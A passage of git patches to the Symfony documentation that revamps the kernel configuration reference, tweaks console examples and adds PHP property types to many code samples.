+        public function onInteractiveLogin(InteractiveLoginEvent $event): void
         {
             $user = $event->getAuthenticationToken()->getUser();
 
@@ -1473,7 +1473,7 @@ event::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',

From 64c21225b94b229555eebba1fb04c0e13e8a4981 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Jul 2023 15:33:45 +0200
Subject: [PATCH 4856/7107] Revamp the kernel configuration reference

---
 reference/configuration/framework.rst |   4 +
 reference/configuration/kernel.rst    | 345 ++++++++++++++++++--------
 2 files changed, 249 insertions(+), 100 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0fc4f6223f6..c6b49cf69de 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -24,6 +24,8 @@ configured under the ``framework`` key in your application configuration.
 Configuration
 -------------
 
+.. _configuration-framework-secret:
+
 secret
 ~~~~~~
 
@@ -475,6 +477,8 @@ If ``true``, Symfony adds a ``X-Robots-Tag: noindex`` HTTP tag to all responses
 This option is a protection measure in case you accidentally publish your site
 in debug mode.
 
+.. _configuration-framework-trusted-hosts:
+
 trusted_hosts
 ~~~~~~~~~~~~~
 
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 3ac25fbb7c5..20787e153d8 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -1,133 +1,107 @@
 Configuring in the Kernel
 =========================
 
-Some configuration can be done on the kernel class itself (located by default at
-``src/Kernel.php``). You can do this by overriding specific methods of
-the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class.
+Symfony applications define a kernel class (which is located by default at
+``src/Kernel.php``) that includes several configurable options. This article
+explains how to configure those options and shows the list of container parameters
+created by Symfony based on that configuration.
 
-Configuration
--------------
+.. _configuration-kernel-build-directory:
 
-In previous Symfony versions there was another configuration option to define
-the "kernel name", which is only important when
-:doc:`using applications with multiple kernels </configuration/multiple_kernels>`.
-If you need a unique ID for your kernels use the ``kernel.container_class``
-parameter or the ``Kernel::getContainerClass()`` method.
+``kernel.build_dir``
+--------------------
 
-.. _configuration-kernel-charset:
+**type**: ``string`` **default**: ``$this->getCacheDir()``
 
-Charset
-~~~~~~~
+This parameter stores the absolute path of a build directory of your Symfony application.
+This directory can be used to separate read-only cache (i.e. the compiled container)
+from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default
+value when the application is deployed in a read-only filesystem like a Docker
+container or AWS Lambda.
 
-**type**: ``string`` **default**: ``UTF-8``
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir`
+method of the kernel class, which you can override to return a different value.
 
-This option defines the charset that is used in the application. This value is
-exposed via the ``kernel.charset`` configuration parameter and the
-:method:`Symfony\\Component\\HttpKernel\\Kernel::getCharset` method.
+``kernel.bundles``
+------------------
 
-To change this value, override the ``getCharset()`` method and return another
-charset::
+**type**: ``array`` **default**: ``[]``
 
-    // src/Kernel.php
-    namespace App;
+This parameter stores the list of :doc:`bundles </bundles>` registered in the
+application and the FQCN of their main bundle class::
 
-    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    // ...
-
-    class Kernel extends BaseKernel
-    {
-        public function getCharset(): string
-        {
-            return 'ISO-8859-1';
-        }
-    }
-
-.. _configuration-kernel-project-directory:
-
-Project Directory
-~~~~~~~~~~~~~~~~~
-
-**type**: ``string`` **default**: the directory of the project ``composer.json``
-
-This returns the absolute path of the root directory of your Symfony project,
-which is used by applications to perform operations with file paths relative to
-the project's root directory.
+    [
+        'FrameworkBundle' => 'Symfony\Bundle\FrameworkBundle\FrameworkBundle',
+        'TwigBundle' => 'Symfony\Bundle\TwigBundle\TwigBundle',
+        // ...
+    ]
 
-By default, its value is calculated automatically as the directory where the
-main ``composer.json`` file is stored. This value is exposed via the
-``kernel.project_dir`` configuration parameter and the
-:method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method.
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBundles`
+method of the kernel class.
 
-If you don't use Composer, or have moved the ``composer.json`` file location or
-have deleted it entirely (for example in the production servers), you can
-override the :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir`
-method to return the right project directory::
+``kernel.bundles_metadata``
+---------------------------
 
-    // src/Kernel.php
-    namespace App;
+**type**: ``array`` **default**: ``[]``
 
-    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    // ...
+This parameter stores the list of :doc:`bundles </bundles>` registered in the
+application and some metadata about them::
 
-    class Kernel extends BaseKernel
-    {
+    [
+        'FrameworkBundle' => [
+            'path' => '/<path-to-your-project>/vendor/symfony/framework-bundle',
+            'namespace' => 'Symfony\Bundle\FrameworkBundle',
+        ],
+        'TwigBundle' => [
+            'path' => '/<path-to-your-project>/vendor/symfony/twig-bundle',
+            'namespace' => 'Symfony\Bundle\TwigBundle',
+        ],
         // ...
+    ]
 
-        public function getProjectDir(): string
-        {
-            return \dirname(__DIR__);
-        }
-    }
+This value is not exposed via any method of the kernel class, so you can only
+obtain it via the container parameter.
 
-Cache Directory
-~~~~~~~~~~~~~~~
+``kernel.cache_dir``
+--------------------
 
 **type**: ``string`` **default**: ``$this->getProjectDir()/var/cache/$this->environment``
 
-This returns the absolute path of the cache directory of your Symfony project.
-It's calculated automatically based on the current
-:ref:`environment <configuration-environments>`. Data might be written to this
-path at runtime.
-
-This value is exposed via the ``kernel.cache_dir`` configuration parameter and
-the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To
-change this setting, override the ``getCacheDir()`` method to return the correct
-cache directory.
+This parameter stores the absolute path of the cache directory of your Symfony
+application. The default value is generated by Symfony based on the current
+:ref:`configuration environment <configuration-environments>`. Your application
+can write data to this path at runtime.
 
-.. _configuration-kernel-build-directory:
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir`
+method of the kernel class, which you can override to return a different value.
 
-Build Directory
-~~~~~~~~~~~~~~~
-
-**type**: ``string`` **default**: ``$this->getCacheDir()``
+.. _configuration-kernel-charset:
 
-This returns the absolute path of a build directory of your Symfony project. This
-directory can be used to separate read-only cache (i.e. the compiled container)
-from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default
-value when the application is deployed in a read-only filesystem like a Docker
-container or AWS Lambda.
+``kernel.charset``
+------------------
 
-This value is exposed via the ``kernel.build_dir`` configuration parameter and
-the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To
-change this setting, override the ``getBuildDir()`` method to return the correct
-build directory.
+**type**: ``string`` **default**: ``UTF-8``
 
-Log Directory
-~~~~~~~~~~~~~
+This parameter stores the type of charset or `character encoding`_ that is used
+in the application. This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCharset`
+method of the kernel class, which you can override to return a different value::
 
-**type**: ``string`` **default**: ``$this->getProjectDir()/var/log``
+    // src/Kernel.php
+    namespace App;
 
-This returns the absolute path of the log directory of your Symfony project.
-It's calculated automatically based on the current
-:ref:`environment <configuration-environments>`.
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    // ...
 
-This value is exposed via the ``kernel.logs_dir`` configuration parameter and
-the :method:`Symfony\\Component\\HttpKernel\\Kernel::getLogDir` method. To
-change this setting, override the ``getLogDir()`` method to return the right
-log directory.
+    class Kernel extends BaseKernel
+    {
+        public function getCharset(): string
+        {
+            return 'ISO-8859-1';
+        }
+    }
 
-Container Build Time
-~~~~~~~~~~~~~~~~~~~~
+``kernel.container_build_time``
+-------------------------------
 
 **type**: ``string`` **default**: the result of executing ``time()``
 
@@ -138,7 +112,7 @@ from some trusted source code.
 
 In practice, the compiled :doc:`service container </service_container>` of your
 application will always be the same if you don't change its source code. This is
-exposed via these configuration parameters:
+exposed via these container parameters:
 
 * ``container.build_hash``, a hash of the contents of all your source files;
 * ``container.build_time``, a timestamp of the moment when the container was
@@ -148,7 +122,7 @@ exposed via these configuration parameters:
 
 Since the ``container.build_time`` value will change every time you compile the
 application, the build will not be strictly reproducible. If you care about
-this, the solution is to use another configuration parameter called
+this, the solution is to use another container parameter called
 ``kernel.container_build_time`` and set it to a non-changing build time to
 achieve a strict reproducible build:
 
@@ -182,4 +156,175 @@ achieve a strict reproducible build:
         // ...
         $container->setParameter('kernel.container_build_time', '1234567890');
 
+``kernel.container_class``
+--------------------------
+
+**type**: ``string`` **default**: (see explanation below)
+
+This parameter stores a unique identifier for the container class. In practice,
+this is only important to ensure that each kernel has a unique identifier when
+:doc:`using applications with multiple kernels </configuration/multiple_kernels>`.
+
+The default value is generated by Symfony based on the current
+:ref:`configuration environment <configuration-environments>` and the
+:ref:`debug mode <debug-mode>`. For example, if your application kernel is
+defined in the ``App`` namespace, runs in the ``dev`` environment and the ``debug``
+mode is enabled, the value of this parameter is ``App_KernelDevDebugContainer``.
+
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getContainerClass`
+method of the kernel class, which you can override to return a different value::
+
+    // src/Kernel.php
+    namespace App;
+
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    // ...
+
+    class Kernel extends BaseKernel
+    {
+        public function getContainerClass(): string
+        {
+            return sprintf('AcmeKernel%s', random_int(10_000, 99_999));
+        }
+    }
+
+``kernel.debug``
+----------------
+
+**type**: ``boolean`` **default**: (the value is passed as an argument when booting the kernel)
+
+This parameter stores the value of the current :ref:`debug mode <debug-mode>`
+used by the application.
+
+``kernel.default_locale``
+-------------------------
+
+This parameter stores the value of
+:ref:`the framework.default_locale parameter <config-framework-default_locale>`.
+
+``kernel.enabled_locales``
+--------------------------
+
+This parameter stores the value of
+:ref:`the framework.enabled_locales parameter <reference-translator-enabled-locales>`.
+
+.. _configuration-kernel-environment:
+
+``kernel.environment``
+----------------------
+
+**type**: ``string`` **default**: (the value is passed as an argument when booting the kernel)
+
+This parameter stores the name of the current :ref:`configuration environment <configuration-environments>`
+used by the application.
+
+This value defines the configuration options used to run the application, whereas
+the :ref:`kernel.runtime_environment <configuration-kernel-runtime-environment>`
+option defines the place where the application is deployed. This allows for
+example to run an application with the ``prod`` config (``kernel.environment``)
+in different scenarios like ``staging`` or ``production`` (``kernel.runtime_environment``).
+
+``kernel.error_controller``
+---------------------------
+
+This parameter stores the value of
+:ref:`the framework.error_controller parameter <config-framework-error_controller>`.
+
+``kernel.http_method_override``
+-------------------------------
+
+This parameter stores the value of
+:ref:`the framework.http_method_override parameter <configuration-framework-http_method_override>`.
+
+``kernel.logs_dir``
+-------------------
+
+**type**: ``string`` **default**: ``$this->getProjectDir()/var/log``
+
+This parameter stores the absolute path of the log directory of your Symfony application.
+It's calculated automatically based on the current
+:ref:`configuration environment <configuration-environments>`.
+
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getLogDir`
+method of the kernel class, which you can override to return a different value.
+
+.. _configuration-kernel-project-directory:
+
+``kernel.project_dir``
+----------------------
+
+**type**: ``string`` **default**: the directory of the project ``composer.json``
+
+This parameter stores the absolute path of the root directory of your Symfony application,
+which is used by applications to perform operations with file paths relative to
+the project's root directory.
+
+By default, its value is calculated automatically as the directory where the
+main ``composer.json`` file is stored. This value is also exposed via the
+:method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the
+kernel class.
+
+If you don't use Composer, or have moved the ``composer.json`` file location or
+have deleted it entirely (for example in the production servers), override the
+``getProjectDir()`` method to return a different value::
+
+    // src/Kernel.php
+    namespace App;
+
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    // ...
+
+    class Kernel extends BaseKernel
+    {
+        // ...
+
+        public function getProjectDir(): string
+        {
+            return \dirname(__DIR__);
+        }
+    }
+
+.. _configuration-kernel-runtime-environment:
+
+``kernel.runtime_environment``
+------------------------------
+
+**type**: ``string`` **default**: ``%env(default:kernel.environment:APP_RUNTIME_ENV)%``
+
+This parameter stores the name of the current :doc:`runtime environment </components/runtime>`
+used by the application.
+
+This value defines the place where the application is deployed, whereas the
+:ref:`kernel.environment <configuration-kernel-environment>` option defines
+the configuration options used to run the application. This allows for example
+to run an application with the ``prod`` config (``kernel.environment``) in different
+scenarios like ``staging`` or ``production`` (``kernel.runtime_environment``).
+
+``kernel.secret``
+-----------------
+
+**type**: ``string`` **default**: ``%env(APP_SECRET)%``
+
+This parameter stores the value of
+:ref:`the framework.secret parameter <configuration-framework-secret>`.
+
+``kernel.trust_x_sendfile_type_header``
+---------------------------------------
+
+This parameter stores the value of
+:ref:`the framework.trust_x_sendfile_type_header parameter <configuration-framework-http_method_override>`.
+
+``kernel.trusted_hosts``
+------------------------
+
+This parameter stores the value of
+:ref:`the framework.trusted_hosts parameter <configuration-framework-trusted-hosts>`.
+
+``kernel.trusted_proxies``
+--------------------------
+
+This parameter stores the value of
+:ref:`the framework.trusted_proxies parameter <reference-framework-trusted-proxies>`.
+
+.. _`character encoding`: https://en.wikipedia.org/wiki/Character_encoding
 .. _`reproducible builds`: https://en.wikipedia.org/wiki/Reproducible_builds

From 4851eddf45c73038dd79aed9a0a5362a86c696b6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 11 Jul 2023 16:44:49 +0200
Subject: [PATCH 4857/7107] [Console] Minor tweaks

---
 console/calling_commands.rst | 2 +-
 console/verbosity.rst        | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 2defb04d49a..1a9cce4e6c3 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -27,7 +27,7 @@ method)::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output): void
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $command = $this->getApplication()->find('demo:greet');
 
diff --git a/console/verbosity.rst b/console/verbosity.rst
index 7df68d30f23..f7a1a1e5e59 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -69,7 +69,7 @@ level. For example::
                 OutputInterface::VERBOSITY_VERBOSE
             );
 
-            return 0;
+            return Command::SUCCESS;
         }
     }
 

From 175231293441f3eaa8705f56939695e25ccc02f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Jul 2023 09:18:03 +0200
Subject: [PATCH 4858/7107] Add the versionadded directive

---
 testing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/testing.rst b/testing.rst
index a544a18f305..fec4cfdc2ec 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1039,6 +1039,11 @@ Mailer Assertions
     Asserts that the subject of the given email does (not) contain the
     expected subject.
 
+.. versionadded:: 6.4
+
+    The ``assertEmailSubjectContains()`` and ``assertEmailSubjectNotContains()``
+    assertions were introduced in Symfony 6.4.
+
 Notifier Assertions
 ...................
 

From d3e3df082cf469234fd7f5492d761b0068dcb880 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 12 Jul 2023 11:43:47 +0200
Subject: [PATCH 4859/7107] Add property types

---
 components/asset.rst                       |  2 +-
 components/dependency_injection.rst        |  6 +--
 components/property_access.rst             | 14 +++----
 components/property_info.rst               |  2 +-
 components/runtime.rst                     |  2 +-
 components/serializer.rst                  | 48 +++++++++++-----------
 components/validator/metadata.rst          |  2 +-
 configuration/using_parameters_in_dic.rst  |  5 +--
 contributing/code/standards.rst            |  5 +--
 controller/upload_file.rst                 |  4 +-
 doctrine/associations.rst                  |  6 +--
 form/create_form_type_extension.rst        |  2 +-
 form/inherit_data_option.rst               | 24 +++++------
 form/unit_testing.rst                      |  2 +-
 form/use_empty_data.rst                    |  2 +-
 form/validation_group_service_resolver.rst |  4 +-
 quick_tour/flex_recipes.rst                |  6 +--
 reference/constraints/Callback.rst         |  2 +-
 reference/constraints/Expression.rst       |  8 ++--
 reference/constraints/Json.rst             |  2 +-
 routing/custom_route_loader.rst            |  2 +-
 service_container/autowiring.rst           |  2 +-
 service_container/calls.rst                |  4 +-
 service_container/configurators.rst        |  4 +-
 service_container/injection_types.rst      |  4 +-
 service_container/service_decoration.rst   |  2 +-
 service_container/tags.rst                 | 14 +------
 testing/database.rst                       |  5 +--
 validation/groups.rst                      |  6 +--
 validation/sequence_provider.rst           | 12 +++---
 30 files changed, 93 insertions(+), 110 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 2c95a35589e..8ffdbd7e41d 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -203,7 +203,7 @@ every day::
 
     class DateVersionStrategy implements VersionStrategyInterface
     {
-        private $version;
+        private \DateTimeInterface $version;
 
         public function __construct()
         {
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 6d8672feeef..45ecc6dc194 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -31,7 +31,7 @@ you want to make available as a service::
 
     class Mailer
     {
-        private $transport;
+        private string $transport;
 
         public function __construct()
         {
@@ -55,7 +55,7 @@ so this is passed into the constructor::
     class Mailer
     {
         public function __construct(
-            private $transport,
+            private string $transport,
         ) {
         }
 
@@ -124,7 +124,7 @@ it was only optional then you could use setter injection instead::
 
     class NewsletterManager
     {
-        private $mailer;
+        private \Mailer $mailer;
 
         public function setMailer(\Mailer $mailer)
         {
diff --git a/components/property_access.rst b/components/property_access.rst
index 3364b667a5c..bf1453d17ee 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -118,7 +118,7 @@ it with ``get``. So the actual method becomes ``getFirstName()``::
     // ...
     class Person
     {
-        private $firstName = 'Wouter';
+        private string $firstName = 'Wouter';
 
         public function getFirstName()
         {
@@ -140,8 +140,8 @@ getters, this means that you can do something like this::
     // ...
     class Person
     {
-        private $author = true;
-        private $children = [];
+        private bool $author = true;
+        private array $children = [];
 
         public function isAuthor()
         {
@@ -233,7 +233,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
     // ...
     class Person
     {
-        private $children = [
+        private array $children = [
             'Wouter' => [...],
         ];
 
@@ -263,7 +263,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
     // ...
     class Person
     {
-        private $children = [
+        private array $children = [
             'wouter' => [...],
         ];
 
@@ -362,7 +362,7 @@ see `Enable other Features`_::
     // ...
     class Person
     {
-        private $children = [];
+        private array $children = [];
 
         public function __call($name, $args)
         {
@@ -405,7 +405,7 @@ properties through *adder* and *remover* methods::
         /**
          * @var string[]
          */
-        private $children = [];
+        private array $children = [];
 
         public function getChildren(): array
         {
diff --git a/components/property_info.rst b/components/property_info.rst
index 6aa2210a728..37c425d85df 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -431,7 +431,7 @@ information from annotations of properties and methods, such as ``@var``,
          * @param string $bar
          */
         public function __construct(
-            private $bar,
+            private string $bar,
         ) {
         }
     }
diff --git a/components/runtime.rst b/components/runtime.rst
index 956e731c5ab..8f07968e5ca 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -440,7 +440,7 @@ always using this ``ReactPHPRunner``::
 
     class ReactPHPRuntime extends GenericRuntime
     {
-        private $port;
+        private int $port;
 
         public function __construct(array $options)
         {
diff --git a/components/serializer.rst b/components/serializer.rst
index 26336dc5f9b..33fc71e4b69 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -244,9 +244,9 @@ Assume you have the following plain-old-PHP object::
 
     class MyObj
     {
-        public $foo;
+        public string $foo;
 
-        private $bar;
+        private string $bar;
 
         public function getBar()
         {
@@ -303,10 +303,10 @@ Then, create your groups definition:
         class MyObj
         {
             #[Groups(['group1', 'group2'])]
-            public $foo;
+            public string $foo;
 
             #[Groups(['group4'])]
-            public $anotherProperty;
+            public string $anotherProperty;
 
             #[Groups(['group3'])]
             public function getBar() // is* methods are also supported
@@ -449,10 +449,10 @@ Option 1: Using ``@Ignore`` Annotation
 
         class MyClass
         {
-            public $foo;
+            public string $foo;
 
             #[Ignore]
-            public $bar;
+            public string $bar;
         }
 
     .. code-block:: yaml
@@ -1229,8 +1229,8 @@ You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NUL
 to ``true``::
 
     $dummy = new class {
-        public $foo;
-        public $bar = 'notNull';
+        public ?string $foo = null;
+        public string $bar = 'notNull';
     };
 
     $normalizer = new ObjectNormalizer();
@@ -1305,8 +1305,8 @@ Circular references are common when dealing with entity relations::
 
     class Organization
     {
-        private $name;
-        private $members;
+        private string $name;
+        private array $members;
 
         public function setName($name)
         {
@@ -1331,10 +1331,10 @@ Circular references are common when dealing with entity relations::
 
     class Member
     {
-        private $name;
-        private $organization;
+        private string $name;
+        private Organization $organization;
 
-        public function setName($name)
+        public function setName(string $name)
         {
             $this->name = $name;
         }
@@ -1404,12 +1404,12 @@ structure::
 
     class MyObj
     {
-        public $foo;
+        public string $foo;
 
         /**
          * @var self
          */
-        public $child;
+        public MyObj $child;
     }
 
     $level1 = new MyObj();
@@ -1437,7 +1437,7 @@ Here, we set it to 2 for the ``$child`` property:
         class MyObj
         {
             #[MaxDepth(2)]
-            public $child;
+            public MyObj $child;
 
             // ...
         }
@@ -1499,10 +1499,10 @@ having unique identifiers::
 
     class Foo
     {
-        public $id;
+        public int $id;
 
         #[MaxDepth(1)]
-        public $child;
+        public MyObj $child;
     }
 
     $level1 = new Foo();
@@ -1598,8 +1598,8 @@ context option::
     class MyObj
     {
         public function __construct(
-            private $foo,
-            private $bar,
+            private string $foo,
+            private string $bar,
         ) {
         }
     }
@@ -1638,8 +1638,8 @@ parameter of the ``ObjectNormalizer``::
 
     class ObjectOuter
     {
-        private $inner;
-        private $date;
+        private ObjectInner $inner;
+        private \DateTimeInterface $date;
 
         public function getInner()
         {
@@ -1664,8 +1664,8 @@ parameter of the ``ObjectNormalizer``::
 
     class ObjectInner
     {
-        public $foo;
-        public $bar;
+        public string $foo;
+        public string $bar;
     }
 
     $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor());
diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index 07ee9c52d79..5a88dab76ed 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -17,7 +17,7 @@ the ``Author`` class has at least 3 characters::
 
     class Author
     {
-        private $firstName;
+        private string $firstName;
 
         public static function loadValidatorMetadata(ClassMetadata $metadata)
         {
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 05008114e01..852b06506ce 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -101,11 +101,10 @@ be injected with this parameter via the extension as follows::
 
     class Configuration implements ConfigurationInterface
     {
-        private $debug;
+        private bool $debug;
 
-        public function __construct($debug)
+        public function __construct(private bool $debug)
         {
-            $this->debug = (bool) $debug;
         }
 
         public function getConfigTreeBuilder()
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 69d0a2c16b3..7d16e0f9d0b 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -49,10 +49,7 @@ short example containing most features described below::
     {
         public const SOME_CONST = 42;
 
-        /**
-         * @var string
-         */
-        private $fooBar;
+        private string $fooBar;
 
         /**
          * @param $dummy some argument description
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 9bcc17cd7cd..dc132e3d021 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -22,7 +22,7 @@ add a PDF brochure for each product. To do so, add a new property called
         // ...
 
         #[ORM\Column(type: 'string')]
-        private $brochureFilename;
+        private string $brochureFilename;
 
         public function getBrochureFilename(): string
         {
@@ -238,7 +238,7 @@ logic to a separate service::
     class FileUploader
     {
         public function __construct(
-            private $targetDirectory,
+            private string $targetDirectory,
             private SluggerInterface $slugger,
         ) {
         }
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index e1cd113ae22..b17877c4bdf 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -148,7 +148,7 @@ the ``Product`` entity (and getter & setter methods):
             // ...
 
             #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: 'products')]
-            private $category;
+            private Category $category;
 
             public function getCategory(): ?Category
             {
@@ -220,7 +220,7 @@ class that will hold these objects:
             // ...
 
             #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category')]
-            private $products;
+            private array $products;
 
             public function __construct()
             {
@@ -588,7 +588,7 @@ that behavior, use the `orphanRemoval`_ option inside ``Category``:
         // ...
 
         #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category', orphanRemoval: true)]
-        private $products;
+        private array $products;
 
 
 Thanks to this, if the ``Product`` is removed from the ``Category``, it will be
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 43e6b7f198e..7f40b9decc9 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -107,7 +107,7 @@ the database::
         /**
          * @var string The path - typically stored in the database
          */
-        private $path;
+        private string $path;
 
         // ...
 
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 64001ba074d..19b14b27bcd 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -10,13 +10,13 @@ entities, a ``Company`` and a ``Customer``::
 
     class Company
     {
-        private $name;
-        private $website;
+        private string $name;
+        private string $website;
 
-        private $address;
-        private $zipcode;
-        private $city;
-        private $country;
+        private string $address;
+        private string $zipcode;
+        private string $city;
+        private string $country;
     }
 
 .. code-block:: php
@@ -26,13 +26,13 @@ entities, a ``Company`` and a ``Customer``::
 
     class Customer
     {
-        private $firstName;
-        private $lastName;
+        private string $firstName;
+        private string $lastName;
 
-        private $address;
-        private $zipcode;
-        private $city;
-        private $country;
+        private string  $address;
+        private string $zipcode;
+        private string $city;
+        private string $country;
     }
 
 As you can see, each entity shares a few of the same fields: ``address``,
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index bcd82a1ee38..048a3c7c0d0 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -154,7 +154,7 @@ make sure the ``FormRegistry`` uses the created instance::
 
     class TestedTypeTest extends TypeTestCase
     {
-        private $objectManager;
+        private MockObject|ObjectManager $objectManager;
 
         protected function setUp(): void
         {
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 85d6d750a25..5387820693b 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -51,7 +51,7 @@ that constructor with no arguments::
     class BlogType extends AbstractType
     {
         public function __construct(
-            private $someDependency,
+            private object $someDependency,
         ) {
         }
         // ...
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index da07585b511..82a6f65d6ec 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -14,8 +14,8 @@ parameter::
     class ValidationGroupResolver
     {
         public function __construct(
-            private $service1,
-            private $service2,
+            private object $service1,
+            private object $service2,
         ) {
         }
 
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7829304e995..a71961d78af 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -200,13 +200,13 @@ rich API for a ``product`` table? Create a ``Product`` entity and give it the
         #[ORM\Id]
         #[ORM\GeneratedValue(strategy: 'AUTO')]
         #[ORM\Column(type: 'integer')]
-        private $id;
+        private int $id;
 
         #[ORM\Column(type: 'string')]
-        private $name;
+        private string $name;
 
         #[ORM\Column(type: 'integer')]
-        private $price;
+        private int $price;
 
         // ...
     }
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 62184f805cd..2a14eff4531 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -99,7 +99,7 @@ field those errors should be attributed::
     class Author
     {
         // ...
-        private $firstName;
+        private string $firstName;
 
         public function validate(ExecutionContextInterface $context, $payload)
         {
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index a51002040c0..26192069a8c 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -26,9 +26,9 @@ properties::
 
     class BlogPost
     {
-        private $category;
+        private string $category;
 
-        private $isTechnicalPost;
+        private bool $isTechnicalPost;
 
         // ...
 
@@ -155,7 +155,7 @@ assert that the expression must return ``true`` for validation to fail.
                     "this.getCategory() in ['php', 'symfony'] or value == false",
                     message: 'If this is a tech post, the category should be either php or symfony!',
                 )]
-                private $isTechnicalPost;
+                private bool $isTechnicalPost;
 
                 // ...
             }
@@ -298,7 +298,7 @@ type (numeric, boolean, strings, null, etc.)
                 'value + error_margin < threshold',
                 values: ['error_margin' => 0.25, 'threshold' => 1.5],
             )]
-            private $metric;
+            private float $metric;
 
             // ...
         }
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 1ab6ce46494..04cd4d1c1e1 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -28,7 +28,7 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
             #[Assert\Json(
                 message: "You've entered an invalid Json."
             )]
-            private $chapters;
+            private string $chapters;
         }
 
     .. code-block:: yaml
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 5caf51e8213..ec3b5efcb1b 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -278,7 +278,7 @@ you do. The resource name itself is not actually used in the example::
 
     class ExtraLoader extends Loader
     {
-        private $isLoaded = false;
+        private bool $isLoaded = false;
 
         public function load($resource, string $type = null)
         {
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
